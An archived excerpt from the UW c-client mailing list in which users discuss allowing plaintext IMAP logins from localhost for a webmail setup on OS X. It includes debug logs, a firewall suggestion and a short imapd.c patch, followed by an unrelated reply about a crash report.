X-Scanned-By: MIMEDefang 2.43 X-Uwash-Spam: Gauge=X, Probability=10%, Report='LINES_OF_YELLING_3 0.671, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __LINES_OF_YELLING 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __MSGID_APPLEMAIL 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN [ My apologies in advance for a query that has probably been hashed repeatedly, but a search of the c-client archives revealed nothing. ] I have been running imapd on OS X for about a year using SSL (standard build). I would like to configure imapd to allow plaintext logins for clients from the localhost, but refuse plaintext otherwise. My motivation is that I want to provide a webmail client, but none of the clients that I've investigated (SquirrelMail, IlohaMail, etc.) support SSL. Since the http and mail server are on the same host and the web client is connecting via https, then IMAP/SSL is unnecessary anyway. Does anyone have a recommendation for such a configuration? Second, assuming that I must allow plaintext, I attempted to build a working imapd with plaintext support. I did makes with both ssltype=unix and ssltype=none. In either case, AUTHENTICATE LOGIN fails. Again, authentication works fine for SSL (AUTHENTICATE PLAIN). I don't understand the difference between LOGIN and PLAIN authentication, but I couldn't find an explanation in rfc2222 (SASL) or rfc3501 (IMAP4). I suspect that this might have something to do with pam, but I'm not sure where to turn. Any advice would be most appreciated. Thanks in advance, David == mtest with SSLTYPE=none == ./mtest MTest -- C client test program warning: this program uses gets(), which is unsafe. Personal name: Debug protocol (y/n)?y Mailbox ('?' for help): {localhost/user=jsmith}inbox [Trying IP address [127.0.0.1]] * OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS AUTH=LOGIN] localhost IMAP4rev1 2003.347 at Thu, 30 Dec 2004 23:26:08 -0500 (EST) 00000000 AUTHENTICATE LOGIN + VXNlciBOYW1lAA== {localhost/imap/user="jsmith"} password: + UGFzc3dvcmQA 00000000 NO AUTHENTICATE LOGIN failed == mtest with default SSL == ./mtest MTest -- C client test program warning: this program uses gets(), which is unsafe. Personal name: Debug protocol (y/n)?y Mailbox ('?' for help): {localhost/user=jsmith/novalidate-cert}inbox [Trying IP address [127.0.0.1]] * OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS STARTTLS LOGINDISABLED] localhost IMAP4rev1 2003.347 at Thu, 30 Dec 2004 23:41:56 -0500 (EST) 00000000 STARTTLS 00000000 OK STARTTLS completed 00000001 CAPABILITY * CAPABILITY IMAP4REV1 LITERAL+ IDLE NAMESPACE MAILBOX-REFERRALS BINARY UNSELECT SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND SASL-IR LOGIN-REFERRALS AUTH=PLAIN AUTH=LOGIN 00000001 OK CAPABILITY completed 00000002 AUTHENTICATE PLAIN + {localhost/imap/user="jsmith"} password: 00000002 OK [CAPABILITY IMAP4REV1 LITERAL+ IDLE NAMESPACE MAILBOX-REFERRALS BINARY UNSELECT SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND] User jsmith authenticated -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Jan 2 04:45:26 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 2 Jan 2005 04:45:26 -0800 (PST) Return-Path: Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id j02CjQKe017824 for ; Sun, 2 Jan 2005 04:45:26 -0800 Received: from list4.u.washington.edu (list4.u.washington.edu [140.142.14.167]) by mx2.cac.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j02CjPKv012455 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 2 Jan 2005 04:45:25 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list4.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id j02Cj5QI019488; Sun, 2 Jan 2005 04:45:05 -0800 Received: from mxe7.u.washington.edu (mxe7.u.washington.edu [140.142.32.169]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id j02ChKp1058902 for ; Sun, 2 Jan 2005 04:43:20 -0800 Received: from theodora.bayswaterfarm.com (theodora.bayswaterfarm.com [217.169.11.202]) by mxe7.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id j02ChG2x025045 for ; Sun, 2 Jan 2005 04:43:19 -0800 Received: from theodora.bayswaterfarm.com ([217.169.11.202]) by theodora.bayswaterfarm.com with esmtp (Exim 4.42) id I9OWO3-0004ST-F3 for c-client@u.washington.edu; Sun, 02 Jan 2005 12:43:15 +0000 Message-Id: Date: Sun, 02 Jan 2005 12:43:12 +0000 Reply-To: Chris Bunch Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Chris Bunch To: c-client@u.washington.edu Subject: Re: authenticate login failure In-Reply-To: References: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Content-Disposition: inline X-Uwash-Spam: Gauge=X, Probability=10%, Report='LINES_OF_YELLING_3 0.671, __C230066_P3_4 0, __CD 0, __CT 0, __CTE 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __LINES_OF_YELLING 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --On Friday, December 31, 2004 12:06 am -0500 David Kulp wrote: > [ My apologies in advance for a query that has probably been hashed > repeatedly, but a search of the c-client archives revealed nothing. ] > > I have been running imapd on OS X for about a year using SSL (standard > build). I would like to configure imapd to allow plaintext logins for > clients from the localhost, but refuse plaintext otherwise. My > motivation is that I want to provide a webmail client, but none of the > clients that I've investigated (SquirrelMail, IlohaMail, etc.) support > SSL. Since the http and mail server are on the same host and the web > client is connecting via https, then IMAP/SSL is unnecessary anyway. > Does anyone have a recommendation for such a configuration? > > Second, assuming that I must allow plaintext, I attempted to build a > working imapd with plaintext support. I did makes with both ssltype=unix > and ssltype=none. In either case, AUTHENTICATE LOGIN fails. Again, > authentication works fine for SSL (AUTHENTICATE PLAIN). I don't > understand the difference between LOGIN and PLAIN authentication, but I > couldn't find an explanation in rfc2222 (SASL) or rfc3501 (IMAP4). > > I suspect that this might have something to do with pam, but I'm not sure > where to turn. > > Any advice would be most appreciated. > > Thanks in advance, > David > David - I am running SquirrelMail and imapd on the same OS X (Panther) machine. I have imapd compiled with make osx SSLTYPE=unix which will allow plaintext passwords with port 143 connections as well as encrypted passwords via SSL on 993. I set my external firewall to block any incoming port 143 requests so external user must use SSL. Some other notes from my log: There is a good description on setting this up at Always do a 'make clean' if you need to recompile for any reason You will need to configure inetd for both imap4 and imaps For some reason impad expects SSLCert imapd.pem to be in /System/Library/OpenSSL/certs/ I have written about setting up SquirrelMail at hth C __________________________ Dis aliter visum http://jambalaya.bayswaterfarm.com --On Friday, December 31, 2004 12:06 am -0500 David Kulp wrote: > [ My apologies in advance for a query that has probably been hashed > repeatedly, but a search of the c-client archives revealed nothing. ] > > I have been running imapd on OS X for about a year using SSL (standard > build). I would like to configure imapd to allow plaintext logins for > clients from the localhost, but refuse plaintext otherwise. My > motivation is that I want to provide a webmail client, but none of the > clients that I've investigated (SquirrelMail, IlohaMail, etc.) support > SSL. Since the http and mail server are on the same host and the web > client is connecting via https, then IMAP/SSL is unnecessary anyway. > Does anyone have a recommendation for such a configuration? > > Second, assuming that I must allow plaintext, I attempted to build a > working imapd with plaintext support. I did makes with both ssltype=unix > and ssltype=none. In either case, AUTHENTICATE LOGIN fails. Again, > authentication works fine for SSL (AUTHENTICATE PLAIN). I don't > understand the difference between LOGIN and PLAIN authentication, but I > couldn't find an explanation in rfc2222 (SASL) or rfc3501 (IMAP4). > > I suspect that this might have something to do with pam, but I'm not sure > where to turn. > > Any advice would be most appreciated. > > Thanks in advance, > David > > == mtest with SSLTYPE=none == > ./mtest > MTest -- C client test program > warning: this program uses gets(), which is unsafe. > Personal name: > Debug protocol (y/n)?y > Mailbox ('?' for help): {localhost/user=jsmith}inbox > [Trying IP address [127.0.0.1]] > * OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS AUTH=LOGIN] > localhost IMAP4rev1 2003.347 at Thu, 30 Dec 2004 23:26:08 -0500 (EST) > 00000000 AUTHENTICATE LOGIN > + VXNlciBOYW1lAA== > {localhost/imap/user="jsmith"} password: > > + UGFzc3dvcmQA > > 00000000 NO AUTHENTICATE LOGIN failed > > == mtest with default SSL == > > ./mtest > MTest -- C client test program > warning: this program uses gets(), which is unsafe. > Personal name: > Debug protocol (y/n)?y > Mailbox ('?' for help): {localhost/user=jsmith/novalidate-cert}inbox > [Trying IP address [127.0.0.1]] > * OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS STARTTLS > LOGINDISABLED] localhost IMAP4rev1 2003.347 at Thu, 30 Dec 2004 23:41:56 > -0500 (EST) > 00000000 STARTTLS > 00000000 OK STARTTLS completed > 00000001 CAPABILITY > * CAPABILITY IMAP4REV1 LITERAL+ IDLE NAMESPACE MAILBOX-REFERRALS BINARY > UNSELECT SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND > SASL-IR LOGIN-REFERRALS AUTH=PLAIN AUTH=LOGIN > 00000001 OK CAPABILITY completed > 00000002 AUTHENTICATE PLAIN > + > {localhost/imap/user="jsmith"} password: > > 00000002 OK [CAPABILITY IMAP4REV1 LITERAL+ IDLE NAMESPACE > MAILBOX-REFERRALS BINARY UNSELECT SCAN SORT THREAD=REFERENCES > THREAD=ORDEREDSUBJECT MULTIAPPEND] User jsmith authenticated > > -- > ------------------------------------------------------------------ > For information about this mailing list, and its archives, see: > http://www.washington.edu/imap/c-client-list.html > ------------------------------------------------------------------ From pinedev@shivax2.cac.washington.edu Sun Jan 2 07:54:31 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Sun, 2 Jan 2005 07:54:31 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id j02FsVe9021605 for ; Sun, 2 Jan 2005 07:54:31 -0800 Received: from list2.u.washington.edu (list2.u.washington.edu [140.142.14.165]) by mx1.cac.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j02FsTFG023537 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Sun, 2 Jan 2005 07:54:30 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id j02FsDw9018310; Sun, 2 Jan 2005 07:54:13 -0800 Received: from mxe2.u.washington.edu (mxe2.u.washington.edu [140.142.33.14]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id j02Fqxgq056710 for ; Sun, 2 Jan 2005 07:52:59 -0800 Received: from sccrmhc11.comcast.net (sccrmhc11.comcast.net [204.127.202.55]) by mxe2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id j02FqwZ5007385 for ; Sun, 2 Jan 2005 07:52:59 -0800 Received: from [10.0.1.202] (unknown[24.63.115.69](misconfigured sender)) by comcast.net (sccrmhc11) with SMTP id <2005010215525701100gcmqee>; Sun, 2 Jan 2005 15:52:57 +0000 Message-Id: <5DE39CA4-5CD6-11D9-AB28-000A95EB3E1C@fastmail.fm> Date: Sun, 2 Jan 2005 10:52:55 -0500 Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: David Kulp To: Chris Bunch Cc: c-client@u.washington.edu Subject: Re: authenticate login failure In-Reply-To: References: Mime-Version: 1.0 (Apple Message framework v619) Content-Type: multipart/alternative; boundary=Apple-Mail-3--327559963 X-Uwash-Spam: Gauge=X, Probability=10%, Report='LINES_OF_YELLING_3 0.671, __C230066_P3_4 0, __CT 0, __CTYPE_HAS_BOUNDARY 0, __CTYPE_MULTIPART 0, __CTYPE_MULTIPART_ALT 0, __HAS_MSGID 0, __LINES_OF_YELLING 0, __MIME_VERSION 0, __MIME_VERSION_APPLEMAIL 0, __MSGID_APPLEMAIL 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN --Apple-Mail-3--327559963 Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Chris, thanks for the great advice and links. Blocking 143 at the firewall is the right solution. In the meantime, I solved this by patching imapd.c thanks to Rich Graves who sent this 3-line insert patch which allows plain text from localhost: *** imapd.c.orig Wed Jan 28 12:00:35 2004 --- imapd.c Fri Dec 31 13:05:49 2004 *************** *** 264,269 **** --- 264,274 ---- /* initialize server */ server_init(pgmname,"imap","imaps",clkint,kodint,hupint,trmint); /* forbid automatic untagged expunge */ + + if (strstr(tcp_clienthost (),"127.0.0.1") != NULL) { + mail_parameters(NIL,SET_DISABLEPLAINTEXT,NIL); + } + mail_parameters (NIL,SET_EXPUNGEATPING,NIL); /* arm proxy copy callback */ mail_parameters (NIL,SET_MAILPROXYCOPY,(void *) proxycopy); (Also, FWIW, the second part of my initial email about plaintext authentication failure was simply due to my oversight: I had forgotten that the make target was "oxp" not "osx".) Happy New Year, -d On Jan 2, 2005, at 7:43 AM, Chris Bunch wrote: > --On Friday, December 31, 2004 12:06 am -0500 David Kulp > wrote: > >> [ My apologies in advance for a query that has probably been hashed >> repeatedly, but a search of the c-client archives revealed nothing. ] >> >> I have been running imapd on OS X for about a year using SSL (standard >> build). I would like to configure imapd to allow plaintext logins for >> clients from the localhost, but refuse plaintext otherwise. My >> motivation is that I want to provide a webmail client, but none of the >> clients that I've investigated (SquirrelMail, IlohaMail, etc.) >> support >> SSL. Since the http and mail server are on the same host and the web >> client is connecting via https, then IMAP/SSL is unnecessary anyway. >> Does anyone have a recommendation for such a configuration? >> >> Second, assuming that I must allow plaintext, I attempted to build a >> working imapd with plaintext support. I did makes with both >> ssltype=unix >> and ssltype=none. In either case, AUTHENTICATE LOGIN fails. Again, >> authentication works fine for SSL (AUTHENTICATE PLAIN). I don't >> understand the difference between LOGIN and PLAIN authentication, but >> I >> couldn't find an explanation in rfc2222 (SASL) or rfc3501 (IMAP4). >> >> I suspect that this might have something to do with pam, but I'm not >> sure >> where to turn. >> >> Any advice would be most appreciated. >> >> Thanks in advance, >> David >> > David - > > I am running SquirrelMail and imapd on the same OS X (Panther) > machine. I > have imapd compiled with > > make osx SSLTYPE=unix > > which will allow plaintext passwords with port 143 connections as well > as > encrypted passwords via SSL on 993. I set my external firewall to > block any > incoming port 143 requests so external user must use SSL. > > Some other notes from my log: > > There is a good description on setting this up at > page=last&offset=101> > > Always do a 'make clean' if you need to recompile for any reason > > You will need to configure inetd for both imap4 and imaps > > For some reason impad expects SSLCert imapd.pem to be in > /System/Library/OpenSSL/certs/ > > I have written about setting up SquirrelMail at > > > hth > > C > __________________________ > Dis aliter visum > http://jambalaya.bayswaterfarm.com > > > > --On Friday, December 31, 2004 12:06 am -0500 David Kulp > wrote: > >> [ My apologies in advance for a query that has probably been hashed >> repeatedly, but a search of the c-client archives revealed nothing. ] >> >> I have been running imapd on OS X for about a year using SSL (standard >> build). I would like to configure imapd to allow plaintext logins for >> clients from the localhost, but refuse plaintext otherwise. My >> motivation is that I want to provide a webmail client, but none of the >> clients that I've investigated (SquirrelMail, IlohaMail, etc.) >> support >> SSL. Since the http and mail server are on the same host and the web >> client is connecting via https, then IMAP/SSL is unnecessary anyway. >> Does anyone have a recommendation for such a configuration? >> >> Second, assuming that I must allow plaintext, I attempted to build a >> working imapd with plaintext support. I did makes with both >> ssltype=unix >> and ssltype=none. In either case, AUTHENTICATE LOGIN fails. Again, >> authentication works fine for SSL (AUTHENTICATE PLAIN). I don't >> understand the difference between LOGIN and PLAIN authentication, but >> I >> couldn't find an explanation in rfc2222 (SASL) or rfc3501 (IMAP4). >> >> I suspect that this might have something to do with pam, but I'm not >> sure >> where to turn. >> >> Any advice would be most appreciated. >> >> Thanks in advance, >> David >> >> == mtest with SSLTYPE=none == >> ./mtest >> MTest -- C client test program >> warning: this program uses gets(), which is unsafe. >> Personal name: >> Debug protocol (y/n)?y >> Mailbox ('?' for help): {localhost/user=jsmith}inbox >> [Trying IP address [127.0.0.1]] >> * OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS >> AUTH=LOGIN] >> localhost IMAP4rev1 2003.347 at Thu, 30 Dec 2004 23:26:08 -0500 (EST) >> 00000000 AUTHENTICATE LOGIN >> + VXNlciBOYW1lAA== >> {localhost/imap/user="jsmith"} password: >> >> + UGFzc3dvcmQA >> >> 00000000 NO AUTHENTICATE LOGIN failed >> >> == mtest with default SSL == >> >> ./mtest >> MTest -- C client test program >> warning: this program uses gets(), which is unsafe. >> Personal name: >> Debug protocol (y/n)?y >> Mailbox ('?' for help): {localhost/user=jsmith/novalidate-cert}inbox >> [Trying IP address [127.0.0.1]] >> * OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS STARTTLS >> LOGINDISABLED] localhost IMAP4rev1 2003.347 at Thu, 30 Dec 2004 >> 23:41:56 >> -0500 (EST) >> 00000000 STARTTLS >> 00000000 OK STARTTLS completed >> 00000001 CAPABILITY >> * CAPABILITY IMAP4REV1 LITERAL+ IDLE NAMESPACE MAILBOX-REFERRALS >> BINARY >> UNSELECT SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND >> SASL-IR LOGIN-REFERRALS AUTH=PLAIN AUTH=LOGIN >> 00000001 OK CAPABILITY completed >> 00000002 AUTHENTICATE PLAIN >> + >> {localhost/imap/user="jsmith"} password: >> >> 00000002 OK [CAPABILITY IMAP4REV1 LITERAL+ IDLE NAMESPACE >> MAILBOX-REFERRALS BINARY UNSELECT SCAN SORT THREAD=REFERENCES >> THREAD=ORDEREDSUBJECT MULTIAPPEND] User jsmith authenticated >> >> -- >> ------------------------------------------------------------------ >> For information about this mailing list, and its archives, see: >> http://www.washington.edu/imap/c-client-list.html >> ------------------------------------------------------------------ > > --Apple-Mail-3--327559963 Content-Transfer-Encoding: 7bit Content-Type: text/enriched; charset=US-ASCII Chris, thanks for the great advice and links. Blocking 143 at the firewall is the right solution. In the meantime, I solved this by patching imapd.c thanks to Rich Graves who sent this 3-line insert patch which allows plain text from localhost: Courier*** imapd.c.orig Wed Jan 28 12:00:35 2004 --- imapd.c Fri Dec 31 13:05:49 2004 *************** *** 264,269 **** --- 264,274 ---- /* initialize server */ server_init(pgmname,"imap","imaps",clkint,kodint,hupint,trmint); /* forbid automatic untagged expunge */ + + if (strstr(tcp_clienthost (),"127.0.0.1") != NULL) { + mail_parameters(NIL,SET_DISABLEPLAINTEXT,NIL); + } + mail_parameters (NIL,SET_EXPUNGEATPING,NIL); /* arm proxy copy callback */ mail_parameters (NIL,SET_MAILPROXYCOPY,(void *) proxycopy); (Also, FWIW, the second part of my initial email about plaintext authentication failure was simply due to my oversight: I had forgotten that the make target was "oxp" not "osx".) Happy New Year, -d On Jan 2, 2005, at 7:43 AM, Chris Bunch wrote: --On Friday, December 31, 2004 12:06 am -0500 David Kulp < wrote: [ My apologies in advance for a query that has probably been hashed repeatedly, but a search of the c-client archives revealed nothing. ] I have been running imapd on OS X for about a year using SSL (standard build). I would like to configure imapd to allow plaintext logins for clients from the localhost, but refuse plaintext otherwise. My motivation is that I want to provide a webmail client, but none of the clients that I've investigated (SquirrelMail, IlohaMail, etc.) support SSL. Since the http and mail server are on the same host and the web client is connecting via https, then IMAP/SSL is unnecessary anyway. Does anyone have a recommendation for such a configuration? Second, assuming that I must allow plaintext, I attempted to build a working imapd with plaintext support. I did makes with both ssltype=unix and ssltype=none. In either case, AUTHENTICATE LOGIN fails. Again, authentication works fine for SSL (AUTHENTICATE PLAIN). I don't understand the difference between LOGIN and PLAIN authentication, but I couldn't find an explanation in rfc2222 (SASL) or rfc3501 (IMAP4). I suspect that this might have something to do with pam, but I'm not sure where to turn. Any advice would be most appreciated. Thanks in advance, David David - I am running SquirrelMail and imapd on the same OS X (Panther) machine. I have imapd compiled with make osx SSLTYPE=unix which will allow plaintext passwords with port 143 connections as well as encrypted passwords via SSL on 993. I set my external firewall to block any incoming port 143 requests so external user must use SSL. Some other notes from my log: There is a good description on setting this up at < Always do a 'make clean' if you need to recompile for any reason You will need to configure inetd for both imap4 and imaps For some reason impad expects SSLCert imapd.pem to be in /System/Library/OpenSSL/certs/ I have written about setting up SquirrelMail at < hth C __________________________ Dis aliter visum http://jambalaya.bayswaterfarm.com --On Friday, December 31, 2004 12:06 am -0500 David Kulp < wrote: [ My apologies in advance for a query that has probably been hashed repeatedly, but a search of the c-client archives revealed nothing. ] I have been running imapd on OS X for about a year using SSL (standard build). I would like to configure imapd to allow plaintext logins for clients from the localhost, but refuse plaintext otherwise. My motivation is that I want to provide a webmail client, but none of the clients that I've investigated (SquirrelMail, IlohaMail, etc.) support SSL. Since the http and mail server are on the same host and the web client is connecting via https, then IMAP/SSL is unnecessary anyway. Does anyone have a recommendation for such a configuration? Second, assuming that I must allow plaintext, I attempted to build a working imapd with plaintext support. I did makes with both ssltype=unix and ssltype=none. In either case, AUTHENTICATE LOGIN fails. Again, authentication works fine for SSL (AUTHENTICATE PLAIN). I don't understand the difference between LOGIN and PLAIN authentication, but I couldn't find an explanation in rfc2222 (SASL) or rfc3501 (IMAP4). I suspect that this might have something to do with pam, but I'm not sure where to turn. Any advice would be most appreciated. Thanks in advance, David == mtest with SSLTYPE=none == ./mtest MTest -- C client test program warning: this program uses gets(), which is unsafe. Personal name: Debug protocol (y/n)?y Mailbox ('?' for help): {localhost/user=jsmith}inbox [Trying IP address [127.0.0.1]] * OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS AUTH=LOGIN] localhost IMAP4rev1 2003.347 at Thu, 30 Dec 2004 23:26:08 -0500 (EST) 00000000 AUTHENTICATE LOGIN + VXNlciBOYW1lAA== {localhost/imap/user="jsmith"} password: < + UGFzc3dvcmQA < 00000000 NO AUTHENTICATE LOGIN failed == mtest with default SSL == ./mtest MTest -- C client test program warning: this program uses gets(), which is unsafe. Personal name: Debug protocol (y/n)?y Mailbox ('?' for help): {localhost/user=jsmith/novalidate-cert}inbox [Trying IP address [127.0.0.1]] * OK [CAPABILITY IMAP4REV1 LITERAL+ SASL-IR LOGIN-REFERRALS STARTTLS LOGINDISABLED] localhost IMAP4rev1 2003.347 at Thu, 30 Dec 2004 23:41:56 -0500 (EST) 00000000 STARTTLS 00000000 OK STARTTLS completed 00000001 CAPABILITY * CAPABILITY IMAP4REV1 LITERAL+ IDLE NAMESPACE MAILBOX-REFERRALS BINARY UNSELECT SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND SASL-IR LOGIN-REFERRALS AUTH=PLAIN AUTH=LOGIN 00000001 OK CAPABILITY completed 00000002 AUTHENTICATE PLAIN + {localhost/imap/user="jsmith"} password: < 00000002 OK [CAPABILITY IMAP4REV1 LITERAL+ IDLE NAMESPACE MAILBOX-REFERRALS BINARY UNSELECT SCAN SORT THREAD=REFERENCES THREAD=ORDEREDSUBJECT MULTIAPPEND] User jsmith authenticated -- ------------------------------------------------------------------ For information about this mailing list, and its archives, see: http://www.washington.edu/imap/c-client-list.html ------------------------------------------------------------------ --Apple-Mail-3--327559963-- From pinedev@shivax2.cac.washington.edu Tue Jan 4 08:15:55 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 4 Jan 2005 08:15:55 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id j04GFtHg015371 for ; Tue, 4 Jan 2005 08:15:55 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j04GFsqM013956 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 4 Jan 2005 08:15:54 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id j04GFgu5010610; Tue, 4 Jan 2005 08:15:42 -0800 Received: from mxi2.u.washington.edu (mxi2.u.washington.edu [140.142.33.12]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id j04GCkwN078350 for ; Tue, 4 Jan 2005 08:12:46 -0800 Received: from mxout3.cac.washington.edu (mxout3.cac.washington.edu [140.142.32.166]) by mxi2.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id j04GCjqb005814 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO) for ; Tue, 4 Jan 2005 08:12:46 -0800 Received: from smtp.washington.edu (smtp.washington.edu [140.142.32.139]) by mxout3.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id j04GCipj030778; Tue, 4 Jan 2005 08:12:44 -0800 Received: from Shimo-Tomobiki.localdomain.co.jp (q030022.ppp.asahi-net.or.jp [203.181.30.22]) (authenticated bits=0) by smtp.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id j04GCgHw012288 (version=TLSv1/SSLv3 cipher=RC4-MD5 bits=128 verify=NOT); Tue, 4 Jan 2005 08:12:43 -0800 Message-Id: Date: Wed, 5 Jan 2005 01:12:41 +0900 (=?ISO-2022-JP?B?k4yLniAolVePgI6eKQ==?=) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: List-Subscribe: List-Owner: (Human contact for the list) List-Post: From: Mark Crispin To: hamaide@multitel.be Cc: c-client@u.washington.edu Subject: Re: Crash in mail_setflag_full In-Reply-To: <20041229120900.05gptco800go04go@mail.multitel.be> References: <20041229120900.05gptco800go04go@mail.multitel.be> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-Sender: mrc@ndcms.cac.washington.edu X-Uwash-Spam: Gauge=IIIIIII, Probability=7%, Report='__CT 0, __CT_TEXT_PLAIN 0, __HAS_MSGID 0, __MIME_VERSION 0, __SANE_MSGID 0' X-Listprocessor-Version: 8.1 -- ListProcessor(tm) by CREN On Wed, 29 Dec 2004 hamaide@multitel.be wrote: > When I call the function this way > mail_setflag_full(stream, "valid_uid", "\\Deleted", ST_UID) > the program crash. Am i doing something wrong? Unfortunately, your report is too vague to diagnose without additional information. What type of crash do you get? -- Mark -- http://staff.washington.edu/mrc Science does not emerge from voting, party politics, or public debate. Si vis pacem, para bellum. From pinedev@shivax2.cac.washington.edu Tue Jan 4 19:47:08 2005 -0800 Return-Path: Received: via tmail-2000(13) (invoked by user mailnull) for mailarch+c-client; Tue, 4 Jan 2005 19:47:08 -0800 (PST) Return-Path: Received: from mx1.cac.washington.edu (mx1.cac.washington.edu [140.142.32.140]) by groupms.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.08) with ESMTP id j053l8wO011232 for ; Tue, 4 Jan 2005 19:47:08 -0800 Received: from list1.u.washington.edu (list1.u.washington.edu [140.142.8.99]) by mx1.cac.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j053l72c005728 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Tue, 4 Jan 2005 19:47:07 -0800 Received: from host (lists.u.washington.edu [140.142.56.13]) by list1.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with SMTP id j053kq4x017542; Tue, 4 Jan 2005 19:46:52 -0800 Received: from mxi1.u.washington.edu (mxi1.u.washington.edu [140.142.32.143]) by lists.u.washington.edu (8.13.1+UW04.08/8.13.1+UW04.12) with ESMTP id j053j7G2007718 for ; Tue, 4 Jan 2005 19:45:07 -0800 Received: from mx2.cac.washington.edu (mx2.cac.washington.edu [140.142.33.1]) by mxi1.u.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j053j7X3017266 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL) for ; Tue, 4 Jan 2005 19:45:07 -0800 Received: from mxout4.cac.washington.edu (mxout4.cac.washington.edu [140.142.33.19]) by mx2.cac.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j053j4XY027000 (version=TLSv1/SSLv3 cipher=EDH-RSA-DES-CBC3-SHA bits=168 verify=NO); Tue, 4 Jan 2005 19:45:05 -0800 Received: from shiva0.cac.washington.edu (shiva0.cac.washington.edu [140.142.37.170]) by mxout4.cac.washington.edu (8.13.1+UW04.08/8.13.1+UW04.09) with ESMTP id j053j4ds026373; Tue, 4 Jan 2005 19:45:04 -0800 Received: from localhost (mrc@localhost) by shiva0.cac.washington.edu (8.13.2+UW04.12/8.13.2+UW04.12) with ESMTP id j053j4ZZ010538; Tue, 4 Jan 2005 19:45:04 -0800 Message-Id: Date: Tue, 4 Jan 2005 19:45:03 -0800 (PST) Sender: C-CLIENT-owner@u.washington.edu Precedence: bulk List-Help: List-Unsubscribe: 